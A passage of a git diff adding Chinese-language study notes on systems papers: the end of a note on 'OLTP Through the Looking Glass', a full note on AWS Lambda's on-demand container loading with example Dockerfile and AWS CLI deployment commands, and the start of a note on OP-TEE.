+- **方法**：每去掉或优化一个子系统，都保留 **可运行的完整系统**，用 PAPI 统计 **每条事务的 CPU 指令数**（比 wall-clock 更稳定、可复现）。
+- **对照**：自建 **optimal kernel**——手写内存 B-tree、无事务/无恢复的最小内核，代表「有用功」下界。
+
+核心主张：**当 OLTP 数据能放进内存、事务在微秒级完成时，1970 年代为「磁盘慢、内存小、多线程躲 I/O」设计的架构，反而成了主瓶颈。** 且 **没有单一「帐篷里最高那根杆」**——logging、locking、latching、buffer manager、B-tree 杂项各占约 10%–35%。
+
+---
+
+## 为什么 2008 年这件事重要
+
+| 1970s 假设 | 2008 年现实 |
+|------------|-------------|
+| 数据库 ≫ 内存，必须磁盘驻留 | 廉价 GB 级内存，许多 OLTP 库可全内存 |
+| 事务要等磁盘 I/O | 内存命中后，事务 ≈ 几百微秒 CPU |
+| 多线程掩盖磁盘延迟 | 无磁盘等待时，多线程带来 latch/锁竞争 |
+| WAL + 2PL 是标配 | 集群副本、分区、弱一致性场景下，日志/锁可能是纯开销 |
+
+论文还列举三类 **可替代传统 OLTP 全功能栈** 的架构方向（后文 H-Store 等均属此类）：
+
+- **无日志（Logless）**：靠副本复制状态而非 REDO log（Harbor、C-Store 等思路）。
+- **单线程（Single-threaded）**：一核一线程跑事务，多核当多节点；去掉 latch 路径。
+- **弱事务（Transaction-less / relaxed）**：最终一致性、快照隔离、或「先读后写、不 abort」的两阶段事务，可省 UNDO 等机制。
+
+---
+
+## 核心概念
+
+### 1. 四大开销组件（按剥离顺序）
+
+论文在 Shore 中大致按此顺序剥离（组件耦合，顺序受代码结构约束）：
+
+| 组件 | 典型占比（New Order 指令） | 在做什么 |
+|------|---------------------------|----------|
+| **Logging** | ~12% | 组装 log record、维护 LSN、与 buffer 协调 WAL |
+| **Locking** | ~16% | 2PL、锁管理器、层次锁（记录→页→库） |
+| **Latching** | ~14% | B-tree 页、buffer pool、fix/pin 路径上的短临界区 |
+| **Buffer manager** | ~35% | 页式间接访问；内存 resident 时仍走 fix/pin |
+| **Hand-coded B-tree 等** | ~16% | 键比较、目录查找、页大小等可优化项 |
+| **Useful work** | ~7% | 真正索引查找 + 更新 |
+
+读一条记录在传统路径上典型步骤：**加锁 → fix 页进缓冲池 → 算页内偏移 → pin → 拷贝到用户空间改 → 写回**——每一步都可能触发 log/lock/latch。
+
+### 2. Lock vs Latch（零基础必分清）
+
+- **Lock（锁）**：事务隔离语义，由 **Lock Manager** 管理，有 deadlock 检测，参与 2PL 与日志。
+- **Latch（闩锁）**：保护 **物理数据结构**（B-tree 节点、hash 桶），轻量、无 deadlock 检测，程序员保证无死锁。
+
+内存 OLTP 里两者叠加：为改一行，可能既 latch 页又 lock 记录。
+
+### 3. 「有用功」与 Shore 残核
+
+- **Optimal kernel**：~22 μs/事务，~**46,500 TPS**（手写 B-tree，无 Shore 调用栈）。
+- **剥光后的 Shore 残核**：~80 μs/事务，~**12,700 TPS**（仍比 optimal 慢约 3.6×，因调用栈深度和无法完全去掉的 transaction/buffer 壳层）。
+- **开箱 Shore（内存库 + 日志写盘）**：~**640 TPS**。
+- **内存库但不刷 log**：~**1,700 TPS**。
+
+New Order 总指令约 **173 万条/事务**；有用功约 **1/60**。残核约为原始 Shore 的 **1/15 指令**，但仍是有用功的 **~4×**。
+
+### 4. 实验控制变量
+
+- 单机单核 Pentium 4 3.2GHz，1GB RAM，Linux 2.6，gcc -O2。
+- 数据库预载内存，`iostat` 验证无磁盘流量。
+- 跑 40,000 事务取平均；New Order 固定 10 个 item、仅本地 warehouse，减少随机性。
+- Payment：固定按 customer ID 查找、本地 warehouse。
+
+### 5. 与 H-Store / 现代内存 OLTP 的 lineage
+
+论文 Section 2.6 明确：MIT **H-Store** 去掉上述特性可达 **两个数量级**加速。后续商业/开源脉络包括 VoltDB、SAP HANA 思路、SQL Server **Hekaton**（SIGMOD 2013）等——都共享「内存 resident + 减锁减 latch + 编译/专用路径」 DNA。
+
+---
+
+## 代码示例 1：四层「外套」如何包住一次简单更新
+
+下面用 Python 伪代码模拟 Shore 式路径：业务只是 `balance -= amount`，但被 logging / locking / latching / buffer 层层包装。
+
+```python
+class LegacyOLTP:
+    """类比 Shore：页式缓冲池 + WAL + 2PL + latch"""
+
+    def __init__(self):
+        self.buffer_pool = {}      # page_id -> bytes
+        self.lock_table = set()
+        self.latches = set()
+        self.log = []
+
+    def _latch(self, page_id):
+        while page_id in self.latches:
+            pass  # spin — 真实系统里 CPU 在这里空转
+        self.latches.add(page_id)
+
+    def _unlock_latch(self, page_id):
+        self.latches.discard(page_id)
+
+    def _lock_record(self, rid):
+        if rid in self.lock_table:
+            raise RuntimeError("deadlock or wait")
+        self.lock_table.add(rid)
+
+    def _unlock_record(self, rid):
+        self.lock_table.discard(rid)
+
+    def _fix_page(self, page_id):
+        self._latch(page_id)
+        if page_id not in self.buffer_pool:
+            self.buffer_pool[page_id] = bytearray(8192)
+        return self.buffer_pool[page_id]
+
+    def _write_log(self, lsn, page_id, payload):
+        self.log.append((lsn, page_id, payload))
+
+    def update_balance(self, page_id, offset, delta, rid, lsn):
+        self._lock_record(rid)
+        page = self._fix_page(page_id)
+        # WAL：先 log 再改页（简化版）
+        self._write_log(lsn, page_id, f"delta={delta}")
+        # 模拟 slotted page：拷贝到用户空间再写回
+        old = int.from_bytes(page[offset:offset+8], "little")
+        new_val = old + delta
+        page[offset:offset+8] = new_val.to_bytes(8, "little")
+        self._unlock_latch(page_id)
+        self._unlock_record(rid)
+
+
+class OptimalKernel:
+    """论文中的 minimal kernel：指针直达，无 log/lock/latch/buffer"""
+
+    def __init__(self):
+        self.records = {}  # rid -> int
+
+    def update_balance(self, rid, delta):
+        self.records[rid] += delta
+```
+
+**读代码时的对照**：Legacy 路径里 `_fix_page` + `_write_log` + `_lock_record` 对应论文 Figure 1 中 buffer / logging / locking 大块；Optimal 只有一行算术。论文用真实 Shore + PAPI 证明：这种结构差异在 TPC-C 上会放大到 **20× 吞吐**，而非微优化能抹平。
+
+---
+
+## 代码示例 2：TPC-C Payment 事务的「调用栈深度」对比
+
+论文 Figure 4 给出 Payment 对 Shore 的调用序列。下面用简化 Python 表达 **New Order / Payment 在完整栈 vs 残核** 的差异：
+
+```python
+# --- 完整 Shore 风格 Payment（每层都是函数调用 + 管理器交互）---
+
+def payment_shore(tx, district_id, warehouse_id, customer_id, amount):
+    tx.begin()                           # 事务管理器：session、监控
+    d = tx.btree_lookup("district", district_id)
+    tx.pin(d); tx.lock(d, mode="X")
+
+    w = tx.btree_lookup("warehouse", warehouse_id)
+    tx.pin(w); tx.lock(w, mode="X")
+
+    c = tx.btree_lookup("customer", customer_id)
+    tx.pin(c); tx.lock(c, mode="X")
+
+    tx.update_record(c, field="balance", delta=-amount)   # log + buffer
+    tx.update_record(d, field="ytd", delta=amount)
+    tx.update_record(w, field="ytd", delta=amount)
+    tx.create_record("history", {...})                    # 又一次 log/alloc
+
+    tx.commit()                          # flush log、释放锁、写 prepare 记录
+
+
+# --- 剥光后的「残核」风格：直接指针 + 无 recovery ---
+
+def payment_stripped(store, district_id, warehouse_id, customer_id, amount):
+    d = store.districts[district_id]
+    w = store.warehouses[warehouse_id]
+    c = store.customers[customer_id]
+
+    c.balance -= amount
+    d.ytd += amount
+    w.ytd += amount
+    store.history.append(HistoryRow(...))  # 单次 append，无 WAL
+```
+
+Payment 在论文中比 New Order 简单（3 次 lookup + 3 次 update + 1 insert），但 **locking 仍占约 25% 指令**——因为 pin/unpin、commit 都要碰锁管理器。这说明：**即使「业务逻辑轻」，传统栈的固定税仍然很重。**
+
+---
+
+## 剥离实验的关键数字（便于记忆）
+
+```
+开箱 Shore（内存 + 日志写盘）     ~640 TPS
+去掉 log 刷盘（仍组装 log）       ~1,700 TPS
+剥光四大组件后的 Shore 残核       ~12,700 TPS   ← 约 20×
+Optimal 手写 B-tree 内核          ~46,500 TPS   ← 「有用功」上界
+```
+
+New Order 指令分解（Figure 1 近似）：
+
+```
+buffer manager      ████████████████████  34.6%
+hand-coded B-tree   ████████              16.2%
+locking             ████████              16.3%
+latching            ███████               14.2%
+logging             ██████                11.9%
+useful work         ███                    6.8%
+```
+
+---
+
+## 论文方法论：为什么「逐层剥」而不是只 profiling
+
+只做 profiler 会告诉你「锁管理器很热」，但不会证明 **去掉它系统仍正确且快多少**。作者坚持：
+
+1. 每步修改后系统 **仍能跑完 TPC-C 子集**；
+2. 用 **CPU 指令数** 做可复现的横向对比；
+3. 与 **optimal kernel** 对照，分离「架构税」与「实现税」。
+
+这对今天做性能分析仍有启发：**先量化固定架构成本，再谈算法或索引优化。**
+
+---
+
+## 局限与 2026 年读这篇论文的视角
+
+- **单线程基准**：多线程下 latch/锁开销通常 **更高**；论文有意避开线程争用， isolating 组件成本。
+- **Shore 非商业引擎**：残核仍比 optimal 慢 3–4×，说明 **调用栈与模块边界** 本身有代价；商业库（Oracle、SQL Server）内部路径更复杂，但定性结论仍成立。
+- **并非主张去掉 ACID**：论文讨论的是 **在可分区、可副本、可弱一致** 的场景下，全功能栈是否过度；银行核心账仍需要 log + 2PL。
+- **后续工程**：Hekaton、Aurora 存储分离、TiKV/Rocks 等把 log 做成流水线；**开销从「有没有」变成「能不能摊薄、能不能 bypass」**，但 looking-glass 的 **分解框架** 仍适用。
+
+---
+
+## 与相邻论文/系统对照
+
+| 系统/论文 | 与 looking-glass 的关系 |
+|-----------|-------------------------|
+| **H-Store / VoltDB** | 论文直接预言；分区 + 单线程执行 + 无传统 buffer/2PL |
+| **Hekaton (2013)** | SQL Server 内嵌内存引擎；原生编译 + latch-free 索引 + O-MVCC |
+| **WiscKey / LSM** | 不同问题（KV 分离键值）；同样质疑「通用页式栈」 |
+| **Aurora** | Log 即数据库；把 WAL 从实例内 buffer 路径中剥离 |
+
+---
+
+## 零基础自检清单
+
+读完后应能回答：
+
+1. **OLTP 传统四件套**是什么？（B-tree/heap、2PL、WAL、buffer pool）
+2. **Lock 和 Latch** 分别保护什么？
+3. 为什么 **内存足够大** 时 buffer manager 仍是最大单项开销之一？
+4. 论文 **640 → 12,700 TPS** 对比控制了什么变量？（预载内存、单线程、TPC-C 子集）
+5. **有用功 1/60** 说明什么？（多数 CPU 花在「数据库机制」而非业务逻辑）
+6. 这篇论文和 **H-Store** 的关系？
+
+---
+
+## 延伸阅读
+
+- 原文 PDF：[CMU 15-721 课程副本](https://15721.courses.cs.cmu.edu/spring2020/papers/02-inmemory/hstore-lookingglass.pdf)
+- ACM DOI：[10.1145/1376616.1376713](https://dl.acm.org/doi/10.1145/1376616.1376713)
+- 后续系统：H-Store → VoltDB；同团队 Hekaton 论文（本库 `hekaton.md`）
+- 基准：TPC-C 规范 — 理解 New Order / Payment 访问模式
+
+---
+
+## 一句话总结
+
+**OLTP Through the Looking Glass** 用「给 Shore 逐层剥壳」证明：当数据已在内存里时，logging、locking、latching、buffer management 吞掉了绝大部分 CPU，真正业务逻辑只是冰山一角；这不是某个实现 bug，而是 **为磁盘时代设计的架构在内存时代的系统性过剩**——理解这一点，是读懂 H-Store、Hekaton 及现代内存 OLTP 的起点。
diff --git a/src/content/docs/papers/on-demand-container-loading.md b/src/content/docs/papers/on-demand-container-loading.md
new file mode 100644
index 000000000..29f8fa72b
--- /dev/null
+++ b/src/content/docs/papers/on-demand-container-loading.md
@@ -0,0 +1,293 @@
+---
+title: On-demand Container Loading — Lambda 如何在 10GiB 镜像下保持冷启动
+来源: https://www.usenix.org/conference/atc23/presentation/brooker
+日期: 2026-06-13
+子分类: 共识与复制
+分类: 分布式系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**On-demand Container Loading in AWS Lambda** 是 AWS 团队在 USENIX ATC 2023 发表的论文（Best Paper），作者包括 Marc Brooker、Mike Danilov、Chris Greenwood、Phil Piwonka。它解决的是一个听起来矛盾的问题：**把 Lambda 函数部署包从 250MB zip 扩到 10GiB 容器镜像，却不让冷启动变慢**。
+
+日常类比：想象你开了一家**连锁快餐店**（Lambda 平台），顾客点单后必须在 50 毫秒内拿到餐（冷启动 SLA）。早期你只卖「便当盒」——一个小 zip 包，打开就能吃。后来顾客想带整台**移动厨房**（Docker 镜像）来：10GB 的锅碗瓢盆、调料、半成品全塞在一个集装箱里。
+
+ naive 做法：每来一个订单，就把 10GB 集装箱从仓库搬到柜台、全部拆箱摆好，再开始做菜。高峰时每秒 15,000 个新订单——光搬数据就要 **150 Pb/s** 带宽，物理上不可能。
+
+论文的做法是**按需取货**：
+
+1. 大家用的都是同一批「基础酱料包」（Alpine、Ubuntu 基础层）——仓库只存一份，到处复用（**块级去重**）。
+2. 做菜时只从集装箱里拿**当前这一步需要的工具**（平均只有约 6.4% 的镜像字节在启动时被读取）——其余等到真的 `open()` / `read()` 再拉（**稀疏按需加载**）。
+3. 酱料包按「离灶台远近」分层摆放：灶台边抽屉 → 店内冷库 → 区域中央仓 → S3 权威存储（**三级缓存**）。
+
+这套系统已支撑**数万亿次** Lambda 调用、百万级客户，且在故障与流量尖峰下保持弹性。
+
+## 为什么重要
+
+不理解这篇论文，下面几件事都解释不清：
+
+- 为什么 Lambda 2020 年后能跑 **10GiB 容器镜像**，而冷启动仍可到 **~50ms** 量级
+- 为什么 Serverless 厂商都在卷「镜像加速」——根因是 **FaaS 的瓶颈从 CPU 变成数据搬运**
+- 为什么云原生镜像优化从「层缓存」走向「块缓存 + 按需读」——层去重对 CI/CD 重复上传不够细
+- 为什么多租户场景下「去重」和「加密」天然打架——需要 **收敛加密（Convergent Encryption）** 这种折中
+- 为什么 Firecracker + virtio-blk + FUSE 是 Lambda 的安全边界选择——把复杂文件系统逻辑关在客户机内核里
+
+**核心地位**：这是**第一个在超大规模 FaaS 上把容器镜像做成块设备、按需加载、且可安全去重**的生产级设计，直接影响今天 Lambda、Fargate 等产品的镜像路径。
+
+## 核心要点
+
+论文架构可以拆成 **五层机制**：
+
+### 1. 确定性展平（Deterministic Flatten）
+
+OCI 镜像是多层 tarball 叠出来的。Lambda 在**控制面**（客户改代码/配置时，低频）把各层**确定性** overlay 成单个 **ext4** 块设备镜像：
+
+- 文件系统操作**串行、无并发随机性**（连 `mtime` 都固定），保证相同内容产出相同块
+- 再切成固定 **512 KiB** 的 chunk——在去重粒度、元数据大小、顺序读预取之间取平衡
+
+块级去重比「按层 / 按文件」更细：论文数据称约 **75%** 镜像独特字节 < 5%；**80%** 新上传函数甚至 **0 个独特 chunk**（纯 CI/CD 重传）。
+
+### 2. 按需块加载（Block-Level Demand Loading）
+
+执行面（每秒百万次 invoke）不再「下载完整 zip 再解压」。每个 MicroVM 通过 **FUSE** 暴露一块虚拟磁盘：
+
+```
+客户代码 read() → Guest Linux page cache miss
+  → virtio-blk → Firecracker → Local Agent (FUSE)
+    → Worker L1 缓存命中？否则 → AZ L2 缓存 → S3 L3
+```
+
+只拉**被读到的 chunk**。Harter 等人的 Slacker 工作表明容器平均仅 **~6.4%** 数据在启动阶段被访问——论文借此拿到约 **15×** 加速空间。
+
+写操作走**页级 copy-on-write 覆盖层**（加密存 worker 本地），底层 chunk 在各级缓存中保持**不可变**，可跨 MicroVM 共享。
+
+### 3. 不信任环境下的去重（Convergent Encryption）
+
+明文去重很简单：hash 内容当 ID。但客户数据要加密，同一明文用不同密钥会变成不同密文，去重失效。
+
+Lambda 采用 **收敛加密**（源自 Farsite）：
+
+1. 对 chunk 算 **SHA-256**，用摘要**确定性派生 AES 密钥**
+2. **AES-CTR** 加密 chunk（确定性 IV），相同明文 → 相同密文 → 可去重
+3. **Manifest** 里每个 chunk 的密钥表用**客户专属 KMS 密钥**做 **AES-GCM** 加密
+4. Chunk 以**密文 hash** 命名写入 S3；已存在则跳过上传
+
+这样：**存储层可跨客户共享相同密文块**，但单个 worker 只能解密自己被分配到的函数 manifest。
+
+额外技巧：内容寻址名里掺入 **salt**，故意多缓存几份热门 chunk，用略低的命中率换**坏块爆炸半径**缩小（不会一颗坏块拖垮几乎所有函数）。
+
+### 4. 三级缓存 + 纠删码
+
+| 层级 | 位置 | 角色 |
+|------|------|------|
+| L1 | Worker 本地内存/盘 | 最热 chunk，约 **67%** 命中 |
+| L2 | 可用区（AZ）分布式缓存 | 次热，约 **32%** 命中 |
+| L3 | S3 | 权威存储，**<0.1%** 访问 |
+
+AZ 缓存用一致性哈希分片。为扛节点故障、压**尾延迟**，对 chunk 做 **纠删码（Erasure Coding）**：分成 M 份，任意 k 份可重建——坏一台缓存机**命中率不跌崖**（经典 20 节点哈希环丢 5% 数据会导致 miss 暴增 5×）。
+
+### 5. 与现有 Lambda 架构的最小侵入集成
+
+Invoke 路径不变：Frontend → Worker Manager → Worker → Firecracker MicroVM。新增的是：
+
+- **Container Registry** + 确定性展平流水线
+- **Chunk Origin (S3)** + **AZ Distributed Cache**
+- Worker 上 **Per-function Local Agent** + **Per-worker Local Cache**
+
+客户侧无感知：照常 `docker push` 到 ECR，Lambda 从镜像 URI 拉元数据即可。
+
+## 实践案例
+
+### 案例 1：为 Lambda 构建并推送容器镜像
+
+下面是一个最小可运行的容器化 Lambda 函数——展示「客户上传的到底是什么」：
+
+```dockerfile
+# Dockerfile — 基于 AWS 官方 Python 基础镜像（高去重收益）
+FROM public.ecr.aws/lambda/python:3.12
+
+# 依赖层：多数团队共用相似 requirements，块级去重会吃掉重复部分
+COPY requirements.txt .
+RUN pip install -r requirements.txt --target "${LAMBDA_TASK_ROOT}"
+
+# 业务代码层：通常只占镜像一小部分独特字节
+COPY app.py ${LAMBDA_TASK_ROOT}
+
+CMD ["app.handler"]
+```
+
+```python
+# app.py — 处理函数；冷启动时 Python 运行时 + 部分标准库被读取
+import json
+
+def handler(event, context):
+    return {
+        "statusCode": 200,
+        "body": json.dumps({"msg": "hello from container image"}),
+    }
+```
+
+```bash
+# 构建、推送到 ECR、创建 Lambda（控制面触发「展平 + 切 chunk + 上传」）
+AWS_ACCOUNT=123456789012
+REGION=us-east-1
+REPO=my-lambda-fn
+
+aws ecr create-repository --repository-name "$REPO" --region "$REGION"
+docker build -t "$REPO" .
+docker tag "$REPO:latest" \
+  "$AWS_ACCOUNT.dkr.ecr.$REGION.amazonaws.com/$REPO:latest"
+aws ecr get-login-password --region "$REGION" | \
+  docker login --username AWS --password-stdin \
+  "$AWS_ACCOUNT.dkr.ecr.$REGION.amazonaws.com"
+docker push "$AWS_ACCOUNT.dkr.ecr.$REGION.amazonaws.com/$REPO:latest"
+
+aws lambda create-function \
+  --function-name MyContainerFn \
+  --package-type Image \
+  --code ImageUri="$AWS_ACCOUNT.dkr.ecr.$REGION.amazonaws.com/$REPO:latest" \
+  --role arn:aws:iam::$AWS_ACCOUNT:role/lambda-exec \
+  --timeout 30 --memory-size 512
+```
+
+**解读**：
+
+- `create-function` / 镜像更新走**控制面**，触发一次确定性展平——频率是「发版次数」，不是「调用次数」
+- 真正 invoke 时，Worker **不会**等 10GiB 全下完；Guest 里 Python 解释器 `exec()` 你的 `app.py` 时，FUSE 层按 ext4 块偏移去拉 chunk
+- 若你用和邻居相同的 `public.ecr.aws/lambda/python:3.12`，展平后大量 512KiB 块与全球其他函数**密文相同**，S3 里早已存在，上传几乎只传「差异块」
+
+### 案例 2：模拟 Local Agent 的按需读路径
+
+论文 Local Agent 的核心逻辑可抽象为（教学用伪代码，非 AWS 源码）：
+
+```python
+CHUNK_SIZE = 512 * 1024  # 512 KiB
+
+class OnDemandBlockDevice:
+    """FUSE 后端：把容器镜像 manifest 映射成稀疏块设备"""
+
+    def __init__(self, manifest, l1_cache, remote_cache, overlay):
+        # manifest: [(byte_offset, chunk_id, chunk_key), ...]
+        self.manifest = manifest
+        self.l1 = l1_cache
+        self.remote = remote_cache
+        self.overlay = overlay  # 写时复制，页粒度 bitmap
+
+    def read(self, offset: int, length: int) -> bytes:
+        buf = bytearray()
+        pos = offset
+        while len(buf) < length:
+            if self.overlay.has_page(pos):
+                buf += self.overlay.read(pos, length - len(buf))
+                break
+            chunk_id = pos // CHUNK_SIZE
+            chunk_off = pos % CHUNK_SIZE
+            data = self.l1.get(chunk_id)
+            if data is None:
+                ciphertext = self.remote.fetch(chunk_id)  # L2 → S3
+                key = self.manifest.key_for(chunk_id)
+                data = aes_ctr_decrypt(ciphertext, key)
+                self.l1.put(chunk_id, data)
+            take = min(CHUNK_SIZE - chunk_off, length - len(buf))
+            buf += data[chunk_off : chunk_off + take]
+            pos += take
+        return bytes(buf)
+
+    def write(self, offset: int, data: bytes) -> None:
+        # 只写 overlay；底层 chunk 永不变更 → 多 MicroVM 共享只读缓存
+        self.overlay.write_copy_on_write(offset, data)
+```
+
+**逐步对应论文 Figure 4**：
+
+1. Guest 发起 `read(0, 4096)` 读 ELF / Python 解释器头
+2. Miss page cache → virtio-blk → `OnDemandBlockDevice.read`
+3. 计算 chunk_id，先查 **Worker L1**（论文测得 **67%** 在此结束）
+4. Miss 则 **AZ L2**（再 **32%**），极少数 **S3 L3**
+5. 密文 chunk 用 manifest 中的派生密钥解密，填入 Guest page cache
+6. 后续读同 chunk 的其他页不再触网
+
+写路径永远不进共享缓存，避免多租户写污染。
+
+### 案例 3：冷启动时间账——数据搬运 vs 计算
+
+粗算为何「全量下载」不可行（论文 Introduction 的数字）：
+
+```
+峰值: 15,000 新 MicroVM/s（单客户）
+镜像: 10 GiB = 80 Gb
+所需带宽: 15,000 × 80 Gb/s = 1,200 Tb/s ≈ 150 PB/s（论文写法）
+
+按需 + 去重 + 缓存后:
+  有效读取 ≈ 10 GiB × 6.4% ≈ 640 MB（Slacker 经验）
+  再 × (1 - 67% L1) × (1 - 32% L2) ... 绝大多数字节一生不被拉取
+```
+
+这就是为什么优化方向是 **少搬字节**，而不是 **换更快的网卡**。
+
+## 架构一图流
+
+```
+客户 docker push → ECR
+        ↓ (控制面，低频)
+  Deterministic Flatten → ext4 → 512KiB chunks
+        ↓ 收敛加密 + 内容寻址名
+      S3 (L3 权威)  ←──  AZ Erasure-Coded Cache (L2)
+                              ↑
+Invoke → Worker Manager → Worker
+                              ↓
+                    Per-function FUSE Local Agent
+                              ↓ virtio-blk
+                    Firecracker MicroVM (Guest ext4)
+                              ↓
+                    客户 runtime + handler 执行
+```
+
+## 与相关工作的关系
+
+| 方案 | 粒度 | 特点 | Lambda 论文的取舍 |
+|------|------|------|-------------------|
+| **Slacker** (Harter et al.) | 文件系统 / 懒加载 | 证明「大部分镜像字节不被读」 | 借鉴稀疏性；但 Lambda 选 **块级** 以缩小宿主机攻击面 |
+| **Starlight** | 文件级按需 | 科学计算镜像 | 同上，避免在 worker 上叠 overlayfs |
+| **Venti** | 块 hash 去重 | 经典块存储去重 | 借鉴内容寻址；加 **收敛加密** 满足多租户 |
+| **传统层缓存** (registry / dragonfly) | 层 / 文件 | 实现简单 | 对「同基础镜像、微小差异」去重不够细 |
+
+论文获 **Best Paper**，部分原因是它在**真实极限规模**（15k VM/s、百万工作负载）下把缓存、去重、加密、纠删码、懒加载焊成一条完整生产路径，而不是实验室原型。
+
+## 设计启示
+
+1. **先量「搬了多少字节」，再谈算法**：FaaS 冷启动本质是数据搬运问题；6.4% 启动读取率意味着 94% 全量下载是浪费。
+2. **控制面 / 数据面分离频率**：展平、切 chunk 放低频路径；invoke 热路径只做 O(1) manifest 查找 + 按需 fetch。
+3. **安全边界决定技术选型**：Firecracker 只信 virtio-blk → 必须在块层做稀疏加载，不能把 overlayfs 堆在宿主机。
+4. **去重与加密要一起设计**：收敛加密是多租户块去重的标准答案；KMS 只保护「密钥表」，不保护「chunk 列表」以便 GC。
+5. **为故障多做一点工作**：纠删码、salt 多副本——用少量冗余换尾延迟和爆炸半径，是大规模系统的常态交易。
+
+## 局限与开放问题
+
+- **512 KiB chunk 大小**是经验常数；随机读多的工作负载可能受益于更小块，顺序读可能想要更大块 + 预取。
+- **写密集**函数依赖 overlay 本地盘，长时间 / 大写入会占 worker 资源——论文聚焦读路径。
+- **跨区冷启动**：L2 是 AZ 级；镜像首次在新 AZ 峰值扩容仍可能打 S3，需要靠预热与全局流量调度（论文略提，非重点）。
+- 客户若把 10GiB 塞满独特数据、几乎无共享基础层，去重收益下降——属于尾部 **20%** 函数（median 独特 chunk 仅 2.5%，但长尾存在）。
+
+## 总结
+
+On-demand Container Loading 回答了一个产品级问题：**Serverless 的承诺是「按调用付费、毫秒扩缩」，那当部署单元变成 10GiB 容器时，如何把「搬镜像」从冷启动关键路径上拿掉？**
+
+答案不是单一技巧，而是组合拳：
+
+- **确定性展平 + 512KiB 块去重** → 少存、少传
+- **FUSE + virtio 按需读** → 少读
+- **L1/L2/L3 缓存** → 少打远存储
+- **收敛加密** → 在多租户下仍然敢去重
+- **纠删码 AZ 缓存** → 机器坏了也不拖垮尾延迟
+
+用 Marc Brooker 博客里的总结：**性能来自尽可能少做事；韧性来自稍微多做一点事。** 这篇论文是这句话在 AWS Lambda 镜像路径上的工程证明。
+
+## 延伸阅读
+
+- 论文 PDF：[USENIX ATC 2023 Proceedings](https://www.usenix.org/system/files/atc23-brooker.pdf)
+- 作者解读：[Container Loading in AWS Lambda（Marc's Blog）](https://brooker.co.za/blog/2023/05/23/snapshot-loading.html)
+- 虚拟化基础：[[xen-2003]]（半虚拟化思路的史前参考）；Lambda 实际跑在 **Firecracker** MicroVM 上
+- 懒加载先例：Slacker (OSDI 2016) — «容器镜像大部分字节从未被读取»
+- 相关 AWS 能力：Lambda **SnapStart**（JVM 快照恢复，解决另一类冷启动问题，与本文「镜像块加载」正交）
diff --git a/src/content/docs/papers/op-tee-tee-2014.md b/src/content/docs/papers/op-tee-tee-2014.md
new file mode 100644
index 000000000..4f1cb1db6
--- /dev/null
+++ b/src/content/docs/papers/op-tee-tee-2014.md
@@ -0,0 +1,317 @@
+---
+title: OP-TEE — Open Portable Trusted Execution Environment 零基础学习笔记
+来源: https://optee.readthedocs.io/en/latest/
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式与 IoT
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**OP-TEE**（Open Portable Trusted Execution Environment）是运行在 **ARM TrustZone Secure World** 上的开源 TEE 实现，与 Normal World 里的 Linux/Android（REE，Rich Execution Environment）配对工作。它实现了 GlobalPlatform 定义的 **TEE Client API v1.0**（给普通世界客户端用）和 **TEE Internal Core API v1.3.1**（给 Secure World 里的 Trusted Application 用）。
+
+日常类比：把整台手机想成一家银行。Android 是面向公众的一楼营业厅——办业务、装 App、连 Wi‑Fi，功能强大但不可完全信任；OP-TEE 是地下金库里的 **专用保险库操作系统**：面积不大、功能聚焦，专门存放指纹模板、支付密钥、DRM 许可证。营业厅客户（CA，Client Application）不能直接进金库，只能把 **填好的业务单**（共享内存 + 命令号）交给 **前台保安**（Linux `optee` 驱动 + EL3 Monitor），由保安转交金库职员（TEE Core）再调度具体 **保险柜管理员**（TA，Trusted Application）。金库职员之间也互相隔离——一个 TA 被攻破，不应拖垮另一个 TA。
+
+2014 年 6 月 12 日 OP-TEE 在 GitHub 首次开源（前身是 ST-Ericsson/STMicroelectronics 的闭源 TEE）；2013 年已通过 GlobalPlatform 合规认证。如今维护方是 **TrustedFirmware.org**，是 Android Keymaster/Gatekeeper、Automotive 安全启动、IoT 密钥保护等场景的事实参考实现之一。
+
+## 为什么重要
+
+- **TrustZone 的软件落地层**：[[trustzone-arm-2009]] 讲硬件双世界；OP-TEE 讲 Secure World 里具体跑什么 OS、怎么调度 TA
+- **GlobalPlatform 标准参考**：学 TEE 接口（Context / Session / Command）最省力的开源样本
+- **Android 安全栈底座**：KeyMint、StrongBox、Widevine L1 等常基于 OP-TEE 或同类 GP-TEE
+- **可复现**：`optee_os` + `optee_client` + `optee_examples` + QEMU 可在笔记本上跑通 CA↔TA 全链路
+- **与 [[sgx-2013]] 对照**：SGX 是应用级 enclave；OP-TEE 是 **系统级 Secure World + 多 TA** 模型
+
+## 核心要点
+
+### 1. 组件地图
+
+| 组件 | 仓库/位置 | 职责 |
+|------|-----------|------|
+| **optee_os** | Secure EL1 | TEE 内核：调度 TA、加密服务、安全存储、SMC 处理 |
+| **optee_client** | REE 用户态 | `libteec`：GlobalPlatform Client API |
+| **tee-supplicant** | REE 守护进程 | 代 TEE 访问 REE 文件系统、RPMB、插件等"远程服务" |
+| **Linux TEE 框架** | 内核 ≥4.12 | `/dev/tee0`、`drivers/tee/optee/` |
+| **ldelf** | Secure 用户态 | ELF 加载器，把 TA 映像装进 Secure 内存 |
+| **xtest / optee_examples** | 测试与示例 | 回归 API 行为、学习 CA/TA 写法 |
+
+设计目标（官方文档）：**隔离**（TEE 与 REE、TA 与 TA）、**小 footprint**（适合片上 SRAM/有限 DRAM）、**可移植**（多 SoC、多 Rich OS）。
+
+### 2. CA / TA / Pseudo-TA 三种"程序"
+
+- **CA（Client Application）**：跑在 Normal World（Linux 用户态或内核），通过 `TEEC_*` API 发起请求
+- **User-mode TA**：跑在 Secure World **用户态**（低于 TEE Core 特权），实现具体安全业务；通过 **UUID** 标识，对外暴露若干 **commandID**
+- **Pseudo-TA（PTA）**：编译进 `optee_os` 内核的"伪 TA 接口"，如 `system` PTA、RPMB 相关服务；无 GlobalPlatform Internal API，直接调 Core 内部例程
+
+多数开发者写的是 **User-mode TA**；PTA 用于平台级特权服务。
+
+### 3. 调用链：从 App 到 TA
+
+```text
+CA (libteec)
+  → ioctl(/dev/tee0)
+    → Linux optee driver
+      → SMC (SMCCC) → EL3 Secure Monitor (TF-A)
+        → OP-TEE Core (Secure EL1)
+          → ldelf 加载 TA → TA_InvokeCommandEntryPoint
+```
+
+参数与返回值通过 **共享内存（Shared Memory）** 传递：`TEEC_AllocateSharedMemory` 或注册已有 buffer。Monitor 与 TZASC 保证 Normal World 不能随意读写任意 Secure 内存，只能访问 **显式共享窗口**。
+
